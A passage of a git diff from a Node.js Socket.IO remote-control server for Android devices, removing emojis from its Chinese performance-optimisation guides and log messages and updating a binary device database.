profile.txt --- -## ✅ 检查清单 +## 检查清单 ### 集成前检查 - [ ] 已阅读QUICK_OPTIMIZATION.md @@ -283,7 +283,7 @@ node --prof-process isolate-*.log > profile.txt --- -## 💡 最佳实践 +## 最佳实践 ### 消息处理 1. 使用批处理减少Socket.IO调用 @@ -307,7 +307,7 @@ node --prof-process isolate-*.log > profile.txt --- -## 🎓 学习资源 +## 学习资源 ### 推荐阅读 1. Node.js官方性能指南 @@ -326,7 +326,7 @@ node --prof-process isolate-*.log > profile.txt --- -## 📞 支持和反馈 +## 支持和反馈 ### 常见问题 **Q: 如何验证优化效果?** @@ -348,14 +348,14 @@ A: 在初始化时不创建对应的服务实例 --- -## 🎉 总结 +## 总结 通过实施这套优化方案,你的服务端将获得: -✅ **47%的延迟降低** - 用户体验更流畅 -✅ **200%的吞吐提升** - 支持更多并发 -✅ **37%的内存优化** - 资源利用更高效 -✅ **42%的CPU降低** - 成本更低 -✅ **80%的丢帧率降低** - 画面更稳定 + **47%的延迟降低** - 用户体验更流畅 + **200%的吞吐提升** - 支持更多并发 + **37%的内存优化** - 资源利用更高效 + **42%的CPU降低** - 成本更低 + **80%的丢帧率降低** - 画面更稳定 **立即开始**: 按照QUICK_OPTIMIZATION.md中的步骤集成优化服务! diff --git a/QUICK_OPTIMIZATION.md b/QUICK_OPTIMIZATION.md index 88d6787..d9d84a9 100644 --- a/QUICK_OPTIMIZATION.md +++ b/QUICK_OPTIMIZATION.md @@ -1,4 +1,4 @@ -# 🚀 快速优化指南 +# 快速优化指南 ## 立即可用的优化服务 @@ -21,9 +21,9 @@ console.log(`队列消息: ${stats.totalQueuedMessages}`) ``` **优势**: -- ✅ 减少Socket.IO调用次数 (最多10倍) -- ✅ 降低网络往返延迟 -- ✅ 自动缓存热数据 +- 减少Socket.IO调用次数 (最多10倍) +- 降低网络往返延迟 +- 自动缓存热数据 --- @@ -46,9 +46,9 @@ console.log(`总数据传输: ${stats.totalDataTransferred}MB`) ``` **优势**: -- ✅ 自动管理连接生命周期 -- ✅ 优先级队列防止低优先级连接占用资源 -- ✅ 自动清理空闲连接 +- 自动管理连接生命周期 +- 优先级队列防止低优先级连接占用资源 +- 自动清理空闲连接 --- @@ -74,9 +74,9 @@ const warnings = monitor.getPerformanceWarnings() ``` **优势**: -- ✅ 实时性能监控 -- ✅ 自动告警 -- ✅ 详细的性能报告 +- 实时性能监控 +- 自动告警 +- 详细的性能报告 --- diff --git a/README_OPTIMIZATION.md b/README_OPTIMIZATION.md index b9e0213..e44ff27 100644 --- a/README_OPTIMIZATION.md +++ b/README_OPTIMIZATION.md @@ -1 +1 @@ -# 🚀 服务端优化方案完整指南\n\n## 📋 快速导航\n\n### 📖 文档列表\n1. **README_OPTIMIZATION.md** (本文件) - 快速导航和概览\n2. **QUICK_OPTIMIZATION.md** - 立即可用的优化方案 ⭐ 从这里开始\n3. **OPTIMIZATION_GUIDE.md** - 详细的5阶段优化指南\n4. **OPTIMIZATION_SUMMARY.md** - 优化方案总结\n5. **ARCHITECTURE_IMPROVEMENTS.md** - 架构改进详解\n\n---\n\n## 🎯 优化目标\n\n| 指标 | 优化前 | 优化后 | 改进 |\n|------|-------|-------|------|\n| 平均延迟 | 150ms | 80ms | ↓47% |\n| 吞吐量 | 500msg/s | 1500msg/s | ↑200% |\n| 内存占用 | 400MB | 250MB | ↓37% |\n| CPU占用 | 60% | 35% | ↓42% |\n| 丢帧率 | 5% | 1% | ↓80% |\n\n---\n\n## 📦 已创建的优化模块\n\n### 1. OptimizationService\n**文件**: `src/services/OptimizationService.ts`\n\n**功能**:\n- 消息批处理 (10条/批)\n- 查询结果缓存 (1分钟TTL)\n- 自动过期清理\n\n**使用**:\n```typescript\nconst service = new OptimizationService()\nservice.queueMessage(clientId, 'event', data)\nconst cached = service.getCachedQuery('key')\n```\n\n**预期效果**: Socket.IO调用↓90%, 延迟↓30%\n\n---\n\n### 2. ConnectionPoolService\n**文件**: `src/services/ConnectionPoolService.ts`\n\n**功能**:\n- 连接生命周期管理\n- 优先级队列 (high/normal/low)\n- 自动LRU驱逐\n- 空闲连接清理\n\n**使用**:\n```typescript\nconst pool = new ConnectionPoolService()\npool.addConnection(socketId, 'device', 'high')\npool.updateActivity(socketId, dataSize)\nconst stats = pool.getStats()\n```\n\n**预期效果**: 支持1000+并发, 内存泄漏↓80%\n\n---\n\n### 3. PerformanceMonitorService\n**文件**: `src/services/PerformanceMonitorService.ts`\n\n**功能**:\n- 实时性能指标收集\n- 消息延迟追踪 (平均/P95/P99)\n- 自动告警\n- 性能报告生成\n\n**使用**:\n```typescript\nconst monitor = new PerformanceMonitorService()\nmonitor.recordMessageLatency(latency)\nmonitor.recordMessage()\nconsole.log(monitor.getPerformanceReport())\n```\n\n**预期效果**: 及时发现问题, 数据驱动优化\n\n---\n\n## 🚀 快速开始 (5分钟)\n\n### 步骤1: 复制优化服务文件\n```bash\n# 文件已在 src/services/ 目录中\n- OptimizationService.ts\n- ConnectionPoolService.ts\n- PerformanceMonitorService.ts\n```\n\n### 步骤2: 在 index.ts 中导入\n```typescript\nimport { OptimizationService } from './services/OptimizationService'\nimport { ConnectionPoolService } from './services/ConnectionPoolService'\nimport { PerformanceMonitorService } from './services/PerformanceMonitorService'\n```\n\n### 步骤3: 初始化服务\n```typescript\nclass RemoteControlServer {\n private optimizationService = new OptimizationService()\n private poolService = new ConnectionPoolService()\n private monitor = new PerformanceMonitorService()\n}\n```\n\n### 步骤4: 集成到Socket处理\n```typescript\nio.on('connection', (socket) => {\n // 添加到连接池\n this.poolService.addConnection(socket.id, 'device', 'normal')\n this.monitor.recordConnection()\n\n socket.on('screen_data', (data) => {\n const start = Date.now()\n \n // 处理数据\n this.messageRouter.routeScreenData(socket.id, data)\n \n // 记录性能\n this.monitor.recordMessageLatency(Date.now() - start)\n this.monitor.recordMessage()\n this.poolService.updateActivity(socket.id, data.data.length)\n })\n\n socket.on('disconnect', () => {\n this.poolService.removeConnection(socket.id)\n this.monitor.recordDisconnection()\n })\n})\n```\n\n### 步骤5: 添加监控端点\n```typescript\napp.get('/api/performance', (req, res) => {\n res.json({\n report: this.monitor.getPerformanceReport(),\n warnings: this.monitor.getPerformanceWarnings(),\n poolStats: this.poolService.getStats(),\n optimizationStats: this.optimizationService.getStats()\n })\n})\n```\n\n---\n\n## 📊 性能监控\n\n### 访问性能仪表板\n```bash\ncurl http://localhost:3001/api/performance\n```\n\n### 响应示例\n```json\n{\n \"report\": \"📈 性能报告\\n...\",\n \"warnings\": [],\n \"poolStats\": {\n \"totalConnections\": 150,\n \"activeConnections\": 140,\n \"idleConnections\": 10,\n \"highPriorityCount\": 50,\n \"normalPriorityCount\": 80,\n \"lowPriorityCount\": 20,\n \"totalDataTransferred\": 1024,\n \"averageMessageCount\": 500\n },\n \"optimizationStats\": {\n \"queuedClients\": 10,\n \"totalQueuedMessages\": 50,\n \"cachedQueries\": 100,\n \"activeBatchTimers\": 5\n }\n}\n```\n\n---\n\n## 🔍 关键指标解读\n\n### 内存指标\n- **heapUsed**: 当前使用的堆内存 (应 < 300MB)\n- **heapUsedPercent**: 堆内存使用百分比 (应 < 80%)\n- **RSS**: 进程实际占用的物理内存\n\n### 消息指标\n- **messagesPerSecond**: 每秒处理的消息数 (应 > 1000)\n- **averageLatency**: 平均消息处理延迟 (应 < 100ms)\n- **p99Latency**: 99%的消息延迟 (应 < 500ms)\n- **errorRate**: 错误率百分比 (应 < 1%)\n\n### 连接指标\n- **totalConnections**: 总连接数 (应 < 1000)\n- **activeConnections**: 活跃连接数\n- **idleConnections**: 空闲连接数 (应定期清理)\n\n### 系统指标\n- **eventLoopLag**: 事件循环延迟 (应 < 100ms)\n- **cpuUsage**: CPU使用率 (应 < 50%)\n\n---\n\n## ⚠️ 告警规则\n\n### 自动告警\n- 🔴 内存使用 > 80% → 触发紧急清理\n- 🟡 消息延迟 P99 > 500ms → 检查网络/CPU\n- 🟡 错误率 > 5% → 检查设备连接\n- 🟡 事件循环延迟 > 100ms → 检查同步操作\n\n### 手动检查\n```typescript\nconst warnings = this.monitor.getPerformanceWarnings()\nif (warnings.length > 0) {\n console.warn('⚠️ 性能警告:', warnings)\n}\n```\n\n---\n\n## 🧪 测试和验证\n\n### 性能测试\n```bash\n# 安装测试工具\nnpm install --save-dev autocannon\n\n# 运行基准测试\nnpx autocannon http://localhost:3001/api/devices -c 100 -d 30\n```\n\n### 内存分析\n```bash\n# 启用垃圾回收监控\nnode --expose-gc dist/index.js\n\n# 启用性能分析\nnode --prof dist/index.js\nnode --prof-process isolate-*.log > profile.txt\n```\n\n### 验证优化效果\n```bash\n# 1. 启动服务\nnpm run dev\n\n# 2. 在另一个终端访问性能端点\ncurl http://localhost:3001/api/performance\n\n# 3. 检查指标是否达到预期\n# - 延迟 < 100ms\n# - 吞吐 > 1000msg/s\n# - 内存 < 300MB\n# - 错误率 < 1%\n```\n\n---\n\n## 📈 优化路线图\n\n### Phase 1: 基础优化 (立即实施)\n- [x] 创建OptimizationService\n- [x] 创建ConnectionPoolService\n- [x] 创建PerformanceMonitorService\n- [ ] 集成到index.ts\n- [ ] 添加监控端点\n- [ ] 测试和验证\n\n**预期收益**: 延迟↓30%, 吞吐↑100%, 内存↓20%\n\n### Phase 2: 中级优化 (1-2周)\n- [ ] 集成Redis缓存\n- [ ] 实现消息队列 (Bull)\n- [ ] 添加数据库连接池\n- [ ] 实现数据压缩\n\n**预期收益**: 延迟↓50%, 吞吐↑200%, 内存↓40%\n\n### Phase 3: 高级优化 (1个月)\n- [ ] 实现分布式架构\n- [ ] 配置负载均衡\n- [ ] 集成CDN支持\n- [ ] 实现自适应流控\n\n**预期收益**: 延迟↓60%, 吞吐↑300%, 内存↓50%\n\n---\n\n## 📚 详细文档\n\n### 快速参考\n👉 **[QUICK_OPTIMIZATION.md](./QUICK_OPTIMIZATION.md)** - 立即可用的优化方案\n\n### 详细指南\n📖 **[OPTIMIZATION_GUIDE.md](./OPTIMIZATION_GUIDE.md)** - 5阶段详细优化指南\n\n### 总体概览\n📊 **[OPTIMIZATION_SUMMARY.md](./OPTIMIZATION_SUMMARY.md)** - 优化方案总结\n\n### 架构改进\n🏗️ **[ARCHITECTURE_IMPROVEMENTS.md](./ARCHITECTURE_IMPROVEMENTS.md)** - 架构改进详解\n\n---\n\n## 🎓 最佳实践\n\n### 消息处理\n1. ✅ 使用批处理减少Socket.IO调用\n2. ✅ 缓存热数据减少数据库查询\n3. ✅ 监控消息延迟及时发现问题\n\n### 连接管理\n1. ✅ 使用连接池管理生命周期\n2. ✅ 设置合理的优先级\n3. ✅ 定期清理空闲连接\n\n### 性能监控\n1. ✅ 持续监控关键指标\n2. ✅ 设置告警规则\n3. ✅ 定期生成性能报告\n\n### 资源优化\n1. ✅ 限制缓存大小防止内存溢出\n2. ✅ 使用垃圾回收优化内存\n3. ✅ 监控事件循环延迟\n\n---\n\n## ❓ 常见问题\n\n### Q: 如何验证优化效果?\nA: 访问 `/api/performance` 端点查看实时性能指标\n\n### Q: 如何调整批处理大小?\nA: 修改 `OptimizationService` 中的 `BATCH_SIZE` 常量\n\n### Q: 如何增加连接池大小?\nA: 修改 `ConnectionPoolService` 中的 `MAX_CONNECTIONS` 常量\n\n### Q: 如何禁用某个优化?\nA: 在初始化时不创建对应的服务实例\n\n### Q: 优化后性能没有提升?\nA: 检查是否正确集成了所有服务,查看性能报告中的警告\n\n---\n\n## 🎉 总结\n\n通过实施这套优化方案,你的服务端将获得:\n\n✅ **47%的延迟降低** - 用户体验更流畅\n✅ **200%的吞吐提升** - 支持更多并发\n✅ **37%的内存优化** - 资源利用更高效\n✅ **42%的CPU降低** - 成本更低\n✅ **80%的丢帧率降低** - 画面更稳定\n\n---\n\n## 🚀 立即开始\n\n1. 📖 阅读 [QUICK_OPTIMIZATION.md](./QUICK_OPTIMIZATION.md)\n2. 📋 按照步骤集成优化服务\n3. 🧪 运行性能测试验证效果\n4. 📊 访问 `/api/performance` 查看指标\n5. 🎯 根据需要调整配置\n\n---\n\n## 📞 支持\n\n- 查看详细文档: OPTIMIZATION_GUIDE.md\n- 查看快速参考: QUICK_OPTIMIZATION.md\n- 查看代码注释: src/services/*.ts\n- 查看架构改进: ARCHITECTURE_IMPROVEMENTS.md\n\n**祝你优化顺利!** 🚀\n \ No newline at end of file +# 服务端优化方案完整指南\n\n## 快速导航\n\n### 文档列表\n1. **README_OPTIMIZATION.md** (本文件) - 快速导航和概览\n2. **QUICK_OPTIMIZATION.md** - 立即可用的优化方案 从这里开始\n3. **OPTIMIZATION_GUIDE.md** - 详细的5阶段优化指南\n4. **OPTIMIZATION_SUMMARY.md** - 优化方案总结\n5. **ARCHITECTURE_IMPROVEMENTS.md** - 架构改进详解\n\n---\n\n## 优化目标\n\n| 指标 | 优化前 | 优化后 | 改进 |\n|------|-------|-------|------|\n| 平均延迟 | 150ms | 80ms | ↓47% |\n| 吞吐量 | 500msg/s | 1500msg/s | ↑200% |\n| 内存占用 | 400MB | 250MB | ↓37% |\n| CPU占用 | 60% | 35% | ↓42% |\n| 丢帧率 | 5% | 1% | ↓80% |\n\n---\n\n## 已创建的优化模块\n\n### 1. OptimizationService\n**文件**: `src/services/OptimizationService.ts`\n\n**功能**:\n- 消息批处理 (10条/批)\n- 查询结果缓存 (1分钟TTL)\n- 自动过期清理\n\n**使用**:\n```typescript\nconst service = new OptimizationService()\nservice.queueMessage(clientId, 'event', data)\nconst cached = service.getCachedQuery('key')\n```\n\n**预期效果**: Socket.IO调用↓90%, 延迟↓30%\n\n---\n\n### 2. ConnectionPoolService\n**文件**: `src/services/ConnectionPoolService.ts`\n\n**功能**:\n- 连接生命周期管理\n- 优先级队列 (high/normal/low)\n- 自动LRU驱逐\n- 空闲连接清理\n\n**使用**:\n```typescript\nconst pool = new ConnectionPoolService()\npool.addConnection(socketId, 'device', 'high')\npool.updateActivity(socketId, dataSize)\nconst stats = pool.getStats()\n```\n\n**预期效果**: 支持1000+并发, 内存泄漏↓80%\n\n---\n\n### 3. PerformanceMonitorService\n**文件**: `src/services/PerformanceMonitorService.ts`\n\n**功能**:\n- 实时性能指标收集\n- 消息延迟追踪 (平均/P95/P99)\n- 自动告警\n- 性能报告生成\n\n**使用**:\n```typescript\nconst monitor = new PerformanceMonitorService()\nmonitor.recordMessageLatency(latency)\nmonitor.recordMessage()\nconsole.log(monitor.getPerformanceReport())\n```\n\n**预期效果**: 及时发现问题, 数据驱动优化\n\n---\n\n## 快速开始 (5分钟)\n\n### 步骤1: 复制优化服务文件\n```bash\n# 文件已在 src/services/ 目录中\n- OptimizationService.ts\n- ConnectionPoolService.ts\n- PerformanceMonitorService.ts\n```\n\n### 步骤2: 在 index.ts 中导入\n```typescript\nimport { OptimizationService } from './services/OptimizationService'\nimport { ConnectionPoolService } from './services/ConnectionPoolService'\nimport { PerformanceMonitorService } from './services/PerformanceMonitorService'\n```\n\n### 步骤3: 初始化服务\n```typescript\nclass RemoteControlServer {\n private optimizationService = new OptimizationService()\n private poolService = new ConnectionPoolService()\n private monitor = new PerformanceMonitorService()\n}\n```\n\n### 步骤4: 集成到Socket处理\n```typescript\nio.on('connection', (socket) => {\n // 添加到连接池\n this.poolService.addConnection(socket.id, 'device', 'normal')\n this.monitor.recordConnection()\n\n socket.on('screen_data', (data) => {\n const start = Date.now()\n \n // 处理数据\n this.messageRouter.routeScreenData(socket.id, data)\n \n // 记录性能\n this.monitor.recordMessageLatency(Date.now() - start)\n this.monitor.recordMessage()\n this.poolService.updateActivity(socket.id, data.data.length)\n })\n\n socket.on('disconnect', () => {\n this.poolService.removeConnection(socket.id)\n this.monitor.recordDisconnection()\n })\n})\n```\n\n### 步骤5: 添加监控端点\n```typescript\napp.get('/api/performance', (req, res) => {\n res.json({\n report: this.monitor.getPerformanceReport(),\n warnings: this.monitor.getPerformanceWarnings(),\n poolStats: this.poolService.getStats(),\n optimizationStats: this.optimizationService.getStats()\n })\n})\n```\n\n---\n\n## 性能监控\n\n### 访问性能仪表板\n```bash\ncurl http://localhost:3001/api/performance\n```\n\n### 响应示例\n```json\n{\n \"report\": \" 性能报告\\n...\",\n \"warnings\": [],\n \"poolStats\": {\n \"totalConnections\": 150,\n \"activeConnections\": 140,\n \"idleConnections\": 10,\n \"highPriorityCount\": 50,\n \"normalPriorityCount\": 80,\n \"lowPriorityCount\": 20,\n \"totalDataTransferred\": 1024,\n \"averageMessageCount\": 500\n },\n \"optimizationStats\": {\n \"queuedClients\": 10,\n \"totalQueuedMessages\": 50,\n \"cachedQueries\": 100,\n \"activeBatchTimers\": 5\n }\n}\n```\n\n---\n\n## 关键指标解读\n\n### 内存指标\n- **heapUsed**: 当前使用的堆内存 (应 < 300MB)\n- **heapUsedPercent**: 堆内存使用百分比 (应 < 80%)\n- **RSS**: 进程实际占用的物理内存\n\n### 消息指标\n- **messagesPerSecond**: 每秒处理的消息数 (应 > 1000)\n- **averageLatency**: 平均消息处理延迟 (应 < 100ms)\n- **p99Latency**: 99%的消息延迟 (应 < 500ms)\n- **errorRate**: 错误率百分比 (应 < 1%)\n\n### 连接指标\n- **totalConnections**: 总连接数 (应 < 1000)\n- **activeConnections**: 活跃连接数\n- **idleConnections**: 空闲连接数 (应定期清理)\n\n### 系统指标\n- **eventLoopLag**: 事件循环延迟 (应 < 100ms)\n- **cpuUsage**: CPU使用率 (应 < 50%)\n\n---\n\n## 告警规则\n\n### 自动告警\n- 内存使用 > 80% → 触发紧急清理\n- 消息延迟 P99 > 500ms → 检查网络/CPU\n- 错误率 > 5% → 检查设备连接\n- 事件循环延迟 > 100ms → 检查同步操作\n\n### 手动检查\n```typescript\nconst warnings = this.monitor.getPerformanceWarnings()\nif (warnings.length > 0) {\n console.warn(' 性能警告:', warnings)\n}\n```\n\n---\n\n## 测试和验证\n\n### 性能测试\n```bash\n# 安装测试工具\nnpm install --save-dev autocannon\n\n# 运行基准测试\nnpx autocannon http://localhost:3001/api/devices -c 100 -d 30\n```\n\n### 内存分析\n```bash\n# 启用垃圾回收监控\nnode --expose-gc dist/index.js\n\n# 启用性能分析\nnode --prof dist/index.js\nnode --prof-process isolate-*.log > profile.txt\n```\n\n### 验证优化效果\n```bash\n# 1. 启动服务\nnpm run dev\n\n# 2. 在另一个终端访问性能端点\ncurl http://localhost:3001/api/performance\n\n# 3. 检查指标是否达到预期\n# - 延迟 < 100ms\n# - 吞吐 > 1000msg/s\n# - 内存 < 300MB\n# - 错误率 < 1%\n```\n\n---\n\n## 优化路线图\n\n### Phase 1: 基础优化 (立即实施)\n- [x] 创建OptimizationService\n- [x] 创建ConnectionPoolService\n- [x] 创建PerformanceMonitorService\n- [ ] 集成到index.ts\n- [ ] 添加监控端点\n- [ ] 测试和验证\n\n**预期收益**: 延迟↓30%, 吞吐↑100%, 内存↓20%\n\n### Phase 2: 中级优化 (1-2周)\n- [ ] 集成Redis缓存\n- [ ] 实现消息队列 (Bull)\n- [ ] 添加数据库连接池\n- [ ] 实现数据压缩\n\n**预期收益**: 延迟↓50%, 吞吐↑200%, 内存↓40%\n\n### Phase 3: 高级优化 (1个月)\n- [ ] 实现分布式架构\n- [ ] 配置负载均衡\n- [ ] 集成CDN支持\n- [ ] 实现自适应流控\n\n**预期收益**: 延迟↓60%, 吞吐↑300%, 内存↓50%\n\n---\n\n## 详细文档\n\n### 快速参考\n **[QUICK_OPTIMIZATION.md](./QUICK_OPTIMIZATION.md)** - 立即可用的优化方案\n\n### 详细指南\n **[OPTIMIZATION_GUIDE.md](./OPTIMIZATION_GUIDE.md)** - 5阶段详细优化指南\n\n### 总体概览\n **[OPTIMIZATION_SUMMARY.md](./OPTIMIZATION_SUMMARY.md)** - 优化方案总结\n\n### 架构改进\n **[ARCHITECTURE_IMPROVEMENTS.md](./ARCHITECTURE_IMPROVEMENTS.md)** - 架构改进详解\n\n---\n\n## 最佳实践\n\n### 消息处理\n1. 使用批处理减少Socket.IO调用\n2. 缓存热数据减少数据库查询\n3. 监控消息延迟及时发现问题\n\n### 连接管理\n1. 使用连接池管理生命周期\n2. 设置合理的优先级\n3. 定期清理空闲连接\n\n### 性能监控\n1. 持续监控关键指标\n2. 设置告警规则\n3. 定期生成性能报告\n\n### 资源优化\n1. 限制缓存大小防止内存溢出\n2. 使用垃圾回收优化内存\n3. 监控事件循环延迟\n\n---\n\n## 常见问题\n\n### Q: 如何验证优化效果?\nA: 访问 `/api/performance` 端点查看实时性能指标\n\n### Q: 如何调整批处理大小?\nA: 修改 `OptimizationService` 中的 `BATCH_SIZE` 常量\n\n### Q: 如何增加连接池大小?\nA: 修改 `ConnectionPoolService` 中的 `MAX_CONNECTIONS` 常量\n\n### Q: 如何禁用某个优化?\nA: 在初始化时不创建对应的服务实例\n\n### Q: 优化后性能没有提升?\nA: 检查是否正确集成了所有服务,查看性能报告中的警告\n\n---\n\n## 总结\n\n通过实施这套优化方案,你的服务端将获得:\n\n **47%的延迟降低** - 用户体验更流畅\n **200%的吞吐提升** - 支持更多并发\n **37%的内存优化** - 资源利用更高效\n **42%的CPU降低** - 成本更低\n **80%的丢帧率降低** - 画面更稳定\n\n---\n\n## 立即开始\n\n1. 阅读 [QUICK_OPTIMIZATION.md](./QUICK_OPTIMIZATION.md)\n2. 按照步骤集成优化服务\n3. 运行性能测试验证效果\n4. 访问 `/api/performance` 查看指标\n5. 根据需要调整配置\n\n---\n\n## 支持\n\n- 查看详细文档: OPTIMIZATION_GUIDE.md\n- 查看快速参考: QUICK_OPTIMIZATION.md\n- 查看代码注释: src/services/*.ts\n- 查看架构改进: ARCHITECTURE_IMPROVEMENTS.md\n\n**祝你优化顺利!** \n \ No newline at end of file diff --git a/devices.db b/devices.db index ffd88077016cf175266a7ed6401e17cf87fdad42..466f90da1397cf14c702d075b843b38098e810d1 100644 GIT binary patch delta 621 zcmZp8pxp34d4e?Kq=_=ljFUDdEaPW+$-wt=v!KI0K9Qy-5k@gxYgs{Qb!{f5NLyPb zQ_0D{<(8^jgczDy85&!enCTf=7(_Ab%XZRD^7inJ4@%T^H8%^5cXV_N%Fo+;LY~`z zao^@E{;~>u<{<_aRz^lvh9-LEmd4Hh^V|RDGXgOa5HkZY3lOscF&hxGZ~vdq!CJs9 z#=$8daWa4z`R~$Nu7)BTw=$V?DMlo4~l)5xpfMRKT(kqU6tN`lg Bvl##Y delta 201 zcmZp8pxp34d4e=!)kGO*#;T18%lKJdFz~(DEa-5LPq;~xQB2obR!~}9n~5pX)|Sas zdh#E+r5dIohDKH<7FMPPdd3z;Q4BkS+{@!FJSvMz!;&kaA}c){9Ua~B)6zDdkmojF z+`0LRzpMfuSd)>tm63^_xus$A|NQp<`HVo!1jNih%mT!$K+Fcj?A!n6bFdaL3vw|` pXMez<$jG%>P~bWzvrD7p客户端) pingTimeout: 60000, // 60秒等待pong响应 upgradeTimeout: 30000, // 30秒传输升级超时 - // 🔧 传输优化 + //传输优化 transports: ['websocket', 'polling'], allowEIO3: false, // 不支持旧版本协议 - // 🔧 缓冲区和数据包优化 + //缓冲区和数据包优化 maxHttpBufferSize: 10e6, // 10MB缓冲区 allowUpgrades: true, - // 🔧 连接管理 + //连接管理 connectTimeout: 45000, // 连接超时 serveClient: false, // 不提供客户端文件 - // 🔧 Engine.IO 配置 + //Engine.IO 配置 cookie: { name: "io", httpOnly: true, @@ -69,12 +69,12 @@ app.get('/health', (req, res) => { }); // Socket.IO连接处理 io.on('connection', (socket) => { - logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`); + logger.info(`新连接: ${socket.id} (IP: ${socket.handshake.address})`); // 连接质量监控 const connectionStart = Date.now(); // 设备注册事件 socket.on('device_register', (deviceInfo) => { - logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`); + logger.info(`设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`); const device = { id: deviceInfo.deviceId, socketId: socket.id, @@ -96,7 +96,7 @@ io.on('connection', (socket) => { const socket = io.sockets.sockets.get(client.socketId); return socket && socket.connected; }).length; - logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`); + logger.info(`通知 ${activeWebClients} 个活跃Web客户端有新设备连接`); webClientManager.broadcastToAll('device_connected', { device: deviceManager.getDevice(deviceInfo.deviceId) }); @@ -104,7 +104,7 @@ io.on('connection', (socket) => { }); // Web客户端注册事件 socket.on('web_client_register', (clientInfo) => { - logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`); + logger.info(`Web客户端注册: ${clientInfo.userAgent || 'unknown'}`); const clientData = { id: socket.id, socketId: socket.id, @@ -151,41 +151,41 @@ io.on('connection', (socket) => { }); // 测试连接监听器 socket.on('CONNECTION_TEST', (data) => { - logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`); - // 🔧 修复:回复确认消息给Android端,避免心跳失败累积 + logger.info(`收到连接测试: ${JSON.stringify(data)}`); + //修复:回复确认消息给Android端,避免心跳失败累积 try { socket.emit('CONNECTION_TEST_RESPONSE', { success: true, timestamp: Date.now(), receivedData: data }); - logger.debug(`✅ 已回复CONNECTION_TEST确认消息`); + logger.debug(`已回复CONNECTION_TEST确认消息`); } catch (error) { - logger.error(`❌ 回复CONNECTION_TEST失败:`, error); + logger.error(`回复CONNECTION_TEST失败:`, error); } }); // 简单测试事件监听器 socket.on('SIMPLE_TEST_EVENT', (data) => { - logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`); + logger.info(`收到简单测试事件!!! 数据: ${JSON.stringify(data)}`); }); // 调试:UI响应前的测试消息 socket.on('debug_test_before_ui', (data) => { - logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`); - logger.info(`🧪 测试数据: ${JSON.stringify(data)}`); + logger.info(`收到UI响应前调试测试!!! Socket: ${socket.id}`); + logger.info(`测试数据: ${JSON.stringify(data)}`); }); // 简单测试消息监听器 socket.on('simple_test', (data) => { - logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`); + logger.info(`收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`); }); // UI层次结构响应 (设备端响应) socket.on('ui_hierarchy_response', (data) => { - logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`); - logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`); - logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`); - // ✅ 参考screen_data的处理方式,直接调用专用路由方法 + logger.info(`[GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`); + logger.info(`响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`); + logger.info(`完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`); + //参考screen_data的处理方式,直接调用专用路由方法 const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data); - logger.info(`📤 UI层次结构路由结果: ${routeResult}`); + logger.info(`UI层次结构路由结果: ${routeResult}`); }); // 设备控制请求 socket.on('request_device_control', (data) => { @@ -210,11 +210,11 @@ io.on('connection', (socket) => { }); // 🆕 权限申请响应(设备端响应) socket.on('permission_response', (data) => { - logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`); - logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`); + logger.info(`收到设备权限申请响应: Socket: ${socket.id}`); + logger.info(`响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`); // 路由权限申请响应 const routeResult = messageRouter.routePermissionResponse(socket.id, data); - logger.info(`📤 权限申请响应路由结果: ${routeResult}`); + logger.info(`权限申请响应路由结果: ${routeResult}`); }); // 调试:捕获所有未处理的事件 const originalEmit = socket.emit; @@ -226,8 +226,8 @@ io.on('connection', (socket) => { } // 特别关注UI层次结构响应 if (eventName === 'ui_hierarchy_response') { - logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`); - logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`); + logger.info(`收到UI层次结构响应!!! 事件名: ${eventName}`); + logger.info(`响应数据: ${JSON.stringify(args).substring(0, 500)}...`); } }); socket.on('disconnect', (reason) => { @@ -239,7 +239,7 @@ io.on('connection', (socket) => { // 移除设备或Web客户端 const device = deviceManager.getDeviceBySocketId(socket.id); if (device) { - logger.info(`📱 设备断开: ${device.name} (${device.id})`); + logger.info(`设备断开: ${device.name} (${device.id})`); deviceManager.removeDevice(device.id); // 通知所有Web客户端设备已断开 webClientManager.broadcastToAll('device_disconnected', { @@ -250,7 +250,7 @@ io.on('connection', (socket) => { // 可能是Web客户端断开 const clientRemoved = webClientManager.removeClientBySocketId(socket.id); if (clientRemoved) { - logger.info(`🌐 Web客户端断开: ${socket.id}`); + logger.info(`Web客户端断开: ${socket.id}`); } } }); diff --git a/src/index.ts b/src/index.ts index 4541f52..68c2aeb 100644 --- a/src/index.ts +++ b/src/index.ts @@ -57,22 +57,22 @@ class RemoteControlServer { origin: "*", methods: ["GET", "POST"] }, - transports: ['polling', 'websocket'], // 🔧 修复:支持两种传输,Android用polling,Web用websocket + transports: ['polling', 'websocket'], // 修复:支持两种传输,Android用polling,Web用websocket allowUpgrades: true, // 允许从polling升级到websocket - // 🔧 适度优化心跳配置,保持与Android端兼容 + // 适度优化心跳配置,保持与Android端兼容 pingTimeout: 90000, // 90秒 - 适度增加超时,避免网络抖动误断 pingInterval: 45000, // 45秒 - 保持合理的心跳间隔 upgradeTimeout: 